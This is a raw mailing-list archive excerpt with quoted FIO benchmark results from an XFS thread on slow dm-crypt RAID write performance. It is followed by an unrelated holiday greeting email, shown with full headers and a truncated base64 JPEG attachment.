great comparison, and may be very informative. Run FIO against this >> filesystem (I assume it's also XFS) as well with stripe_cache_size 512 >> and 2048. Four FIO tests total including the two on the big array. >> >> It'll be interesting to see where this leads. At this point the >> candidates I see are a single dm-crypt thread peaking a core, dm-crypt >> taking aligned writes and misaligning them causing all writes to be >> RMWs, or AF drives with misaligned partitions causing every write to be >> an internal RMW. Or maybe something I've not considered. >> >> >>> >>> So long :) >>> Kevin >>> >>> >>> $ echo 1024 > /sys/block/md2/md/stripe_cache_size >>>> Jobs: 1 (f=1): [____________W___] [99.7% done] [0K/99.24M /s] [0 /193 iops] [eta 00m:06s] >>>> read: (groupid=0, jobs=8): err= 0: pid=12987 >>>> read : io=81920MB, bw=189835KB/s, iops=370 , runt=441890msec >>>> slat (usec): min=32 , max=4561 , avg=76.28, stdev=28.66 >>>> clat (msec): min=5 , max=1115 , avg=334.19, stdev=151.18 >>>> lat (msec): min=5 , max=1115 , avg=334.26, stdev=151.18 >>>> bw (KB/s) : min= 0, max=261120, per=12.79%, avg=24288.95, stdev=11586.29 >>>> cpu : usr=0.05%, sys=0.50%, ctx=157180, majf=0, minf=16982 >>>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> issued r/w/d: total=163840/0/0, short=0/0/0 >>>> >>>> lat (msec): 10=0.52%, 20=0.71%, 50=3.01%, 100=6.17%, 250=14.59% >>>> lat (msec): 500=68.81%, 750=4.87%, 1000=1.08%, 2000=0.25% >>>> write: (groupid=1, jobs=8): err= 0: pid=13202 >>>> write: io=81920MB, bw=58504KB/s, iops=114 , runt=1433851msec >>>> slat (usec): min=45 , max=1729 , avg=212.20, stdev=56.68 >>>> clat (msec): min=14 , max=11691 , avg=1101.17, stdev=1116.82 >>>> lat (msec): min=14 , max=11691 , avg=1101.39, stdev=1116.82 >>>> bw (KB/s) : min= 0, max=106666, per=14.35%, avg=8395.94, stdev=6752.35 >>>> cpu : usr=0.28%, sys=0.10%, ctx=117451, majf=0, minf=3410 >>>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> issued r/w/d: total=0/163840/0, short=0/0/0 >>>> >>>> lat (msec): 20=0.01%, 50=0.17%, 100=2.03%, 250=17.02%, 500=22.20% >>>> lat (msec): 750=12.22%, 1000=8.66%, 2000=20.04%, >=2000=17.64% >>>> >>>> Run status group 0 (all jobs): >>>> READ: io=81920MB, aggrb=189834KB/s, minb=194390KB/s, maxb=194390KB/s, mint=441890msec, maxt=441890msec >>>> >>>> Run status group 1 (all jobs): >>>> WRITE: io=81920MB, aggrb=58504KB/s, minb=59908KB/s, maxb=59908KB/s, mint=1433851msec, maxt=1433851msec >>>> >>>> Disk stats (read/write): >>>> dm-0: ios=327681/327756, merge=0/0, ticks=78591352/353235376, in_queue=431834680, util=100.00%, aggrios=327681/327922, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >>>> md2: ios=327681/327922, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=171660/222845, aggrmerge=4561629/9494657, aggrticks=16341417/4008187, aggrin_queue=20351472, aggrutil=85.78% >>>> sdc: ios=181512/222455, merge=4583055/9505634, ticks=15650600/5944080, in_queue=21596560, util=85.78% >>>> sdd: ios=180545/224362, merge=4526197/9587956, ticks=14356708/5542120, in_queue=19900820, util=85.42% >>>> sde: ios=179853/224317, merge=4519718/9540999, ticks=13375156/5676828, in_queue=19053876, util=83.90% >>>> sdf: ios=157605/222569, merge=4551205/9459549, ticks=18828608/1234632, in_queue=20065204, util=75.36% >>>> sdg: ios=158787/220525, merge=4627970/9379150, ticks=19496016/1643276, in_queue=21140904, util=77.26% >>> >>> $ echo 2048 > /sys/block/md2/md/stripe_cache_size >>>> Jobs: 1 (f=1): [_________W______] [99.6% done] [0K/92182K /s] [0 /175 iops] [eta 00m:06s] >>>> read: (groupid=0, jobs=8): err= 0: pid=6392 >>>> read : io=81920MB, bw=185893KB/s, iops=363 , runt=451259msec >>>> slat (usec): min=32 , max=524 , avg=75.08, stdev=26.00 >>>> clat (msec): min=8 , max=1849 , avg=335.65, stdev=149.76 >>>> lat (msec): min=8 , max=1849 , avg=335.72, stdev=149.76 >>>> bw (KB/s) : min= 0, max=105860, per=13.08%, avg=24308.99, stdev=7467.64 >>>> cpu : usr=0.05%, sys=0.49%, ctx=157968, majf=0, minf=17171 >>>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> issued r/w/d: total=163840/0/0, short=0/0/0 >>>> >>>> lat (msec): 10=0.01%, 20=0.06%, 50=2.32%, 100=7.44%, 250=15.36% >>>> lat (msec): 500=69.09%, 750=4.50%, 1000=0.87%, 2000=0.35% >>>> write: (groupid=1, jobs=8): err= 0: pid=6663 >>>> write: io=81920MB, bw=75377KB/s, iops=147 , runt=1112887msec >>>> slat (usec): min=46 , max=6453.8K, avg=988.13, stdev=46664.22 >>>> clat (msec): min=10 , max=8631 , avg=854.18, stdev=683.37 >>>> lat (msec): min=10 , max=8631 , avg=855.17, stdev=684.82 >>>> bw (KB/s) : min= 0, max=100352, per=14.04%, avg=10581.97, stdev=6871.80 >>>> cpu : usr=0.34%, sys=0.11%, ctx=92502, majf=0, minf=1531 >>>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> issued r/w/d: total=0/163840/0, short=0/0/0 >>>> >>>> lat (msec): 20=0.01%, 50=0.09%, 100=1.14%, 250=11.19%, 500=24.64% >>>> lat (msec): 750=18.78%, 1000=13.40%, 2000=24.53%, >=2000=6.23% >>>> >>>> Run status group 0 (all jobs): >>>> READ: io=81920MB, aggrb=185893KB/s, minb=190354KB/s, maxb=190354KB/s, mint=451259msec, maxt=451259msec >>>> >>>> Run status group 1 (all jobs): >>>> WRITE: io=81920MB, aggrb=75376KB/s, minb=77186KB/s, maxb=77186KB/s, mint=1112887msec, maxt=1112887msec >>>> >>>> Disk stats (read/write): >>>> dm-0: ios=327701/328169, merge=0/0, ticks=79402348/261890568, in_queue=341301888, util=100.00%, aggrios=327701/328481, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >>>> md2: ios=327701/328481, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=127112/146994, aggrmerge=3364061/7997232, aggrticks=18091347/5817941, aggrin_queue=23914356, aggrutil=94.20% >>>> sdc: ios=135729/149357, merge=3341205/8134447, ticks=18312932/8398716, in_queue=26721324, util=92.77% >>>> sdd: ios=135561/151584, merge=3312121/8238249, ticks=16877204/8190968, in_queue=25077332, util=92.44% >>>> sde: ios=135741/146023, merge=3345948/7981968, ticks=17659792/8659780, in_queue=26322124, util=94.20% >>>> sdf: ios=114396/143768, merge=3413295/7801050, ticks=18551976/1652924, in_queue=20207384, util=72.89% >>>> sdg: ios=114134/144241, merge=3407738/7830447, ticks=19054832/2187320, in_queue=21243620, util=74.96% >>> >>> $ echo 4096 > /sys/block/md2/md/stripe_cache_size >>>> Jobs: 1 (f=1): [________W_______] [100.0% done] [0K/95848K /s] [0 /182 iops] [eta 00m:00s] >>>> read: (groupid=0, jobs=8): err= 0: pid=11787 >>>> read : io=81920MB, bw=189274KB/s, iops=369 , runt=443200msec >>>> slat (usec): min=31 , max=4511 , avg=75.47, stdev=29.74 >>>> clat (msec): min=5 , max=1338 , avg=336.39, stdev=155.14 >>>> lat (msec): min=5 , max=1338 , avg=336.47, stdev=155.14 >>>> bw (KB/s) : min= 0, max=253455, per=12.77%, avg=24162.01, stdev=11368.71 >>>> cpu : usr=0.05%, sys=0.49%, ctx=157193, majf=0, minf=17313 >>>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> issued r/w/d: total=163840/0/0, short=0/0/0 >>>> >>>> lat (msec): 10=0.47%, 20=0.66%, 50=2.95%, 100=6.33%, 250=14.56% >>>> lat (msec): 500=68.12%, 750=5.42%, 1000=1.15%, 2000=0.33% >>>> write: (groupid=1, jobs=8): err= 0: pid=12060 >>>> write: io=81920MB, bw=64993KB/s, iops=126 , runt=1290687msec >>>> slat (usec): min=61 , max=16991 , avg=197.22, stdev=110.87 >>>> clat (msec): min=14 , max=2820 , avg=980.92, stdev=366.56 >>>> lat (msec): min=14 , max=2821 , avg=981.12, stdev=366.56 >>>> bw (KB/s) : min= 0, max=103770, per=13.11%, avg=8517.92, stdev=3794.28 >>>> cpu : usr=0.28%, sys=0.08%, ctx=84352, majf=0, minf=723 >>>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>>> issued r/w/d: total=0/163840/0, short=0/0/0 >>>> >>>> lat (msec): 20=0.01%, 50=0.03%, 100=0.28%, 250=0.22%, 500=5.37% >>>> lat (msec): 750=22.02%, 1000=31.66%, 2000=39.27%, >=2000=1.16% >>>> >>>> Run status group 0 (all jobs): >>>> READ: io=81920MB, aggrb=189273KB/s, minb=193816KB/s, maxb=193816KB/s, mint=443200msec, maxt=443200msec >>>> >>>> Run status group 1 (all jobs): >>>> WRITE: io=81920MB, aggrb=64993KB/s, minb=66553KB/s, maxb=66553KB/s, mint=1290687msec, maxt=1290687msec >>>> >>>> Disk stats (read/write): >>>> dm-0: ios=327681/327629, merge=0/0, ticks=78990724/301988444, in_queue=380991692, util=100.00%, aggrios=327681/327709, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >>>> md2: ios=327681/327709, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=120158/119573, aggrmerge=2858405/7663126, aggrticks=17291831/9119008, aggrin_queue=26414023, aggrutil=99.60% >>>> sdc: ios=135579/119976, merge=2813832/7324879, ticks=13974928/2192484, in_queue=16167996, util=66.57% >>>> sdd: ios=136115/127048, merge=2826584/7736191, ticks=12932248/2477796, in_queue=15410924, util=68.08% >>>> sde: ios=136007/130908, merge=2844473/7936354, ticks=12642232/3141268, in_queue=15784336, util=71.86% >>>> sdf: ios=78473/94458, merge=2882361/7865984, ticks=29053772/37421808, in_queue=66488856, util=99.60% >>>> sdg: ios=114620/125479, merge=2924777/7452224, ticks=17855976/361684, in_queue=18218004, util=54.84% > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From taher453@gmail.com Sun Dec 22 12:44:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.1 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_IMAGE_ONLY_04,HTML_IMAGE_RATIO_02,HTML_MESSAGE, T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 75AE47F59 for ; Sun, 22 Dec 2013 12:44:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B7358AC002 for ; Sun, 22 Dec 2013 10:44:20 -0800 (PST) X-ASG-Debug-ID: 1387737856-04cb6c537c8b64b0001-NocioJ Received: from mail-wg0-f41.google.com (mail-wg0-f41.google.com [74.125.82.41]) by cuda.sgi.com with ESMTP id EyDtwobV8286sSFS (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 22 Dec 2013 10:44:17 -0800 (PST) X-Barracuda-Envelope-From: taher453@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.41 Received: by mail-wg0-f41.google.com with SMTP id y10so8556588wgg.0 for ; Sun, 22 Dec 2013 10:44:16 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=+WzBHvLZ7lCf7pVwOZGLR9fb4oiMd1Z1/VtYrcubbAc=; b=on/zf4nJ3ZtlTO5WIRXnAycUwOegfdJM4PuZRg7BSNCmsmsJnJQP0f88hS7G0fZJXd mcd8lncVsGfFM0+psU5dyO1ZV5r7Rwr1G0Xa4tSC25AE+YDJ2sYqO9HAyeV90WMeTov9 KVf68O6AfOOr44cDNIm7+3VPsYNO/eMud1kgv1U2mJAuToaiW3YhZ7VulBF7yV+B+P/B o2BfCpxCEMTA9siRMowbR9r2kshFNRe3CONxtdOKl/CQQ3oZs7jijNFmHmdBT5S9EVaw Ann9W4EUEm6r7RSm27qCPQHQikNjrxa8O2zTSpW8HCC8RtbXs2Vtm0L6iFdIalMWSAWj rMMA== MIME-Version: 1.0 X-Received: by 10.180.228.8 with SMTP id se8mr5450301wic.29.1387737537476; Sun, 22 Dec 2013 10:38:57 -0800 (PST) Received: by 10.216.111.3 with HTTP; Sun, 22 Dec 2013 10:38:57 -0800 (PST) Date: Mon, 23 Dec 2013 00:08:57 +0530 Message-ID: Subject: ~ Season's Greetings ~ From: Taher Bookwala X-ASG-Orig-Subj: ~ Season's Greetings ~ To: "(Ahmed El-Mahmoudy)" Content-Type: multipart/related; boundary=001a1134db54f7550b04ee23d216 X-Barracuda-Connect: mail-wg0-f41.google.com[74.125.82.41] X-Barracuda-Start-Time: 1387737857 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.89 X-Barracuda-Spam-Status: No, SCORE=0.89 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_04, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143305 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.34 HTML_IMAGE_ONLY_04 BODY: HTML: images with 0-400 bytes of words 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --001a1134db54f7550b04ee23d216 Content-Type: multipart/alternative; boundary=001a1134db54f7550904ee23d215 --001a1134db54f7550904ee23d215 Content-Type: text/plain; charset=ISO-8859-1 Hi... with this Wishes, if you have any requirement from any of my services below, you can kindly let me know, or if someone others of you may require, please pass this piece for them. I would be Grate full..! [image: Inline image 1] --001a1134db54f7550904ee23d215 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Hi... with this Wishes, if you have any requirement f= rom any of my services below,=A0
    you can kindly let me know, = or if someone others of you may require, please pass=A0
    this piec= e for them. I would be Grate full..!

    3D"Inline
    --001a1134db54f7550904ee23d215-- --001a1134db54f7550b04ee23d216 Content-Type: image/jpeg; name="emailer.jpg" Content-Transfer-Encoding: base64 Content-ID: X-Attachment-Id: ii_142ba31d30d47ea1 /9j/4AAQSkZJRgABAQEAVQBVAAD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsK CwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQU FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wAARCANkAqcDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD85viD cSXfjzxJPK2+WXUrl3bGMkysSawK7Tx54P1iLxz4hjaycOuo3Ckbl4PmN71g/wDCKasP+XN/zH+N em8Bi27qjK3+F/5HEsVQtrUX3oyaK1v+EU1X/nzf8x/jR/wimq/8+b/mP8aX9n4z/nzL/wABf+Q/ rWH/AOfi+9GTRWt/wimq/wDPm/5j/Gj/AIRTVf8Anzf8x/jR/Z+M/wCfMv8AwF/5B9aw/wDz8X3o yaK1v+EU1X/nzf8AMf40f8Ipqv8Az5v+Y/xo/s/Gf8+Zf+Av/IPrWH/5+L70ZNFa3/CKar/z5v8A mP8AGj/hFNV/583/ADH+NH9n4z/nzL/wF/5B9aw//PxfejJorW/4RTVf+fN/zH+NH/CKar/z5v8A mP8AGj+z8Z/z5l/4C/8AIPrWH/5+L70ZNFa3/CKar/z5v+Y/xo/4RTVf+fN/zH+NH9n4z/nzL/wF /wCQfWsP/wA/F96Mmitb/hFNV/583/Mf40f8Ipqv/Pm/5j/Gj+z8Z/z5l/4C/wDIPrWH/wCfi+9G TRWt/wAIpqv/AD5v+Y/xo/4RTVf+fN/zH+NH9n4z/nzL/wABf+QfWsP/AM/F96Mmitb/AIRTVf8A nzf8x/jR/wAIpqv/AD5v+Y/xo/s/Gf8APmX/AIC/8g+tYf8A5+L70ZNFa3/CKar/AM+b/mP8aP8A hFNV/wCfN/zH+NH9n4z/AJ8y/wDAX/kH1rD/APPxfejJorW/4RTVf+fN/wAx/jR/wimq/wDPm/5j /Gj+z8Z/z5l/4C/8g+tYf/n4vvRk0Vrf8Ipqv/Pm/wCY/wAaP+EU1X/nzf8AMf40f2fjP+fMv/AX /kH1rD/8/F96Mmitb/hFNV/583/Mf40f8Ipqv/Pm/wCY/wAaP7Pxn/PmX/gL/wAg+tYf/n4vvRk0 Vrf8Ipqv/Pm/5j/Gj/hFNV/583/Mf40f2fjP+fMv/AX/AJB9aw//AD8X3oyaK1v+EU1X/nzf8x/j R/wimq/8+b/mP8aP7Pxn/PmX/gL/AMg+tYf/AJ+L70ZNFa3/AAimq/8APm/5j/Gj/hFNV/583/Mf 40f2fjP+fMv/AAF/5B9aw/8Az8X3oyaK1v8AhFNV/wCfN/zH+NH/AAimq/8APm/5j/Gj+z8Z/wA+ Zf8AgL/yD61h/wDn4vvRk0Vrf8Ipqv8Az5v+Y/xo/wCEU1X/AJ83/Mf40f2fjP8AnzL/AMBf+QfW sP8A8/F96Mmitb/hFNV/583/ADH+NH/CKar/AM+b/mP8aP7Pxn/PmX/gL/yD61h/+fi+9GTRWt/w imq/8+b/AJj/ABo/4RTVf+fN/wAx/jR/Z+M/58y/8Bf+QfWsP/z8X3oyaK1v+EU1X/nzf8x/jR/w imq/8+b/AJj/ABo/s/Gf8+Zf+Av/ACD61h/+fi+9GTRWt/wimq/8+b/mP8aP+EU1X/nzf8x/jR/Z +M/58y/8Bf8AkH1rD/8APxfejJorW/4RTVf+fN/zH+NH/CKar/z5v+Y/xo/s/Gf8+Zf+Av8AyD61 h/8An4vvRk0Vrf8ACKar/wA+b/mP8aP+EU1X/nzf8x/jR/Z+M/58y/8AAX/kH1rD/wDPxfejJorW /wCEV1X/AJ82/wC+h/jR/wAIpqv/AD5v+Y/xo/s/Gf8APmX/AIC/8g+tYf8A5+L70ZNFa3/CKar/ AM+b/mP8aP8AhFNV/wCfN/zH+NH9n4z/AJ8y/wDAX/kH1rD/APPxfejJorW/4RTVf+fN/wAx/jR/ wimq/wDPm/5j/Gj+z8Z/z5l/4C/8g+tYf/n4vvRk0Vrf8Ipqv/Pm/wCY/wAaP+EU1X/nzf8AMf40 f2fjP+fMv/AX/kH1rD/8/F96Mmitb/hFNV/583/Mf40+LwfrEzbUsXZvQEf40f2fjP8AnzL/AMBf +QvrWH/5+L70Y1FbU3g3Wbdykli6MDjBI/xqP/hFNV/582/Mf40f2fjP+fMv/AX/AJD+tYf/AJ+L 70ZNFa3/AAimq/8APm/5j/Gj/hFNV/583/Mf40f2fjP+fMv/AAF/5B9aw/8Az8X3oyaK1v8AhFNV /wCfN/zH+NH/AAimq/8APm/5j/Gj+z8Z/wA+Zf8AgL/yD61h/wDn4vvRk0Vrf8Ipqv8Az5v+Y/xo /wCEU1X/AJ83/Mf40f2fjP8AnzL/AMBf+QfWsP8A8/F96Mmitb/hFNV/583/ADH+NH/CKar/AM+b /mP8aP7Pxn/PmX/gL/yD61h/+fi+9GTRWt/wimq/8+b/AJj/ABo/4RTVf+fN/wAx/jR/Z+M/58y/ 8Bf+QfWsP/z8X3oyaK1v+EU1X/nzf8x/jR/wimq/8+b/AJj/ABo/s/Gf8+Zf+Av/ACD61h/+fi+9 GTRWt/wimq/8+b/mP8aP+EU1X/nzf8x/jR/Z+M/58y/8Bf8AkH1rD/8APxfejJorW/4RTVf+fN/z H+NH/CKar/z5v+Y/xo/s/Gf8+Zf+Av8AyD61h/8An4vvRk0Vrf8ACKar/wA+b/mP8aP+EU1X/nzf 8x/jR/Z+M/58y/8AAX/kH1rD/wDPxfejJorW/wCEU1X/AJ83/Mf40f8ACKar/wA+b/mP8aP7Pxn/ AD5l/wCAv/IPrWH/AOfi+9GTRWt/wimq/wDPm/5j/Gj/AIRTVf8Anzf8x/jR/Z+M/wCfMv8AwF/5 B9aw/wDz8X3oyaK1v+EU1X/nzf8AMf40Uf2fjP8AnzL/AMBf+QfWsP8A8/F96PoLxvLDF8UvFJnA K/2tc4yM8+c3ftXM6rLDNdboAAvfAxz/AFrZ+Jv/ACUjxV/2Fbr/ANHNXM1+6Ul7kX5I/MJr32wo oorckKKKKACiiigAooooAKKKKACiiigArY0GwiumDsCHRxy33D9ax6sWt9LauhVjsU52Z4P1FTJX WgmXNbsYrRl2Btzkkn+Hr2rLqa4u5bkne5K5yFJ4H0qGmrpaggooopjCiiigAooooAKKKcsbOGKg kKMkgdKAG0UUUAFFFFABRRRQAUUUUAFFFFABRRRRcAooooAKKKs2uny3ciBVKo3G8/dH40riK1FS zWssB+dGUZwCR1qKmAUUUUDCiiigAq9Do1zcW/nRoJI+CSp6fX0qjXQaJbyrZTSM4ETbcQs2C3PU Dv3qJO2omNv9FElvbJajzJlGyRcY5yen96sm8spLCQJLgPzlQeR9fSuzuJ4ZxAsahWRwGYtgL8x5 z2/CuS1e3lgvX81/NLEkSDkNz2NRCTejEijRRRWxQUUUUAFFFFAFvTlt3lZbhSVYYDBsbD6+9dFF pVvYajI1o5nljUMshA8tCcckde9c5p9kb2Vl5CKNzvn7o9TXXpOun3LGGZJ4YUQBkPK4wPu5y3U9 awm9dCStd6bFqOqxNeEwyyOwMigeWxB6eue1c5qaW0Uix2wJC5zIWzv9DjtXXy3S31/G0kiwROzq zuQCecY2549MiuQ1PTzYyLg74nzskHR8dxRTeuoFKiiitygooooAKKKKACiiigAoUE9B7mium0qx gNpvdBC8kZBzzu5/SplKwm7HM0Vd1aBba7MaR+UoAwM5z71Spp3AKKKKYwoooouAUUUUXAKKKKAC iiigAooopXA6b4m/8lI8Vf8AYVuv/RzVzNdN8Tf+SkeKv+wrdf8Ao5q5mopfw4+iLn8b9QooorQg KKKKACiiigAoopcZ6UAJRV7StNfUb2OAA88kDriq00DwyvGQdynBpX1sIiopaSmMKKKKACiiigAo oooAKKKKACiiigC3ptpHe3AieXymbAUkcde57VvWGlJaxXMJAuTJlPMU4Ccjp/e61haXFBJcqbiT y4lIJPc89q6yx1EtHcG3IlhyS7dNg3Dk/r0rGbfQlnOXmjx2los7XKuXztVBzkHuD0rKrc1R7S7t I3ScNOgbIIwCM9vX8aw60jtqNBRRRVDCiiigAooooAKKKKANrRtIjvVWTPmHBBjPHOPWqOo2aWUo RZDI2MnjGKksNXktNqH5oVB+UDHJ9/yqvdXkt2VMhyVGBwBxUJO5OpXoooqygrc0DUIbfZExJdnz h/uDisOlzik1cRo6xex3roUZ8rkFT06npWbRRQlbQAooopjCiiigAp29sYLHHpTaKANHUNWe+trW Ik/ulwfrn9ePWqDOz/eJP1ptFJJIQUUUUxhRRRQAUUUUAKGK5wSPpVzTL42d/HOT8wI+ZugHuO9U qKTV1YRo61qJvtTlnVgSHO1l6YzxgVnliwGSTj1pKKErKwBRRS4zTGJRVubT5ILOG4bOyQkDj09+ 9VKNxBRRRQMKKKKACp4LyW3DhWPzqVOfSoKKLCFLFupJ+tJRRQMKKKKACilAycDrRQAlFFFABRRR QAUUUUAFFFFAHTfE3/kpHir/ALCt1/6OauZrsPijps8XxA8UTMnyHVLon2/fNXH1lS1px9EXP436 hRRRWxAuKMVraHYxXj5YMHRh1+4fY0a5YxWbkpu3O56fcH0qOZXsTcyKKU0lXYoKltpHhnR4yQ4P GKiqWCYwSq4VWK84cZFJoR2VkiXssfmolvujQlFTbznqe/p09aq6hM1rb3HkxrIwZAJAo3IMev8A k1R07Wnu76Nbxi8ZAXIwGGOmG7VWl12dWlSMqYGI/dlRggdM+tYKLuSZTZJOevrSUrHJJ6UldBYV ZSxneJZBGxjYEg+uOtVq3fDd1cwySpFuETRtvZV3Y49PrUSbSuhMda6SraRLvwly5DJCw+dhz09P pWUmnXDgkQtwCTnjAHWu1tba3eyWRnzIAuCSc9/48fL349vesPWrq4/s22hyz24DHcVxg56e/H55 rKMm2LY500lKaK6ChKKKKACiiikAVZtr6S1imjQkCRdp5xjnNVqKGhCk5pKKKYwooooAKKKKACii ikAUUUUwCiiikAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUqgFhnpnnFJSqd pB6455oA6CLQInsmYPuBZSJcdBjpj8awp0WOVlRiyg4BIxmtBddnEDKTmUsCr46Af5FZ00jTSM7f eY5OBioin1JQyiiirKCtrRpLeWGaGa3WRlQlHPy45HU96xa07DV/sFs8aQoS4IZm5zz29KmSutBM 6W8sAtinmFZIe0LEhV5HT+7+NczrksLXbxwQiGNGIAxyfxrUu9TSLTYJlPmO5P7ps7Uxjoe9Y+qa iNSm80xLG5JyV6H8O1ZwTuJFGiiitigooooAKKKKACiiigApaSigDodAsoZY1mdPLcMQJG5U8elU datI7SSNY4mQMM7ic7uTVS1vJbWVXjY5XOAelRPIz/eYnvzUcrvcm2oyiiirKCiiigApyIXYAdTw KQGun0tobyCEm3RZ1kwZCOox2H4VMnYTdjC1HT5NPn8pwclQ2CMHkZ6UV181nGl5ALgJdqR1d8n7 o6N/Sisva2WwEfxV1aS48d+J7cgbV1S6HT/ps2MVxWDXT/E3/ko/ir/sK3X/AKNauaqqKtTjbsip 6SfqN20oGKWitiLk9teS2pXY52BgSmeD9aLm+lu2bc52FiQmeB9KgopWQDdtG2nUU7hcbto206ig LiYoxS0UguN20badRTC4mDWjZa1Pp8Hl26rGSpVmAyWz65rPoqWk9wOltb+J9Le4fieLCiNFxEeu MgDFZkmuzzWwt5VSSIA7UK4C57jFZwdghTcdhOSueDSVKggExSbadRVhcbijFWLS1N5MIlYKT696 k1GwawnMZYHrj1A96L62HcqYNJtp1FArjdtG2nUUwuN20Yp1FAXG4oxV/SrSK8mZJA/C7gV6D61o a5psNsjyjJf5VHl/dHHf8qhyV7BcwNtG2nUVYXG7aNtOopBcTbSbadU9naPezrEnU98ZxRcLlbbS 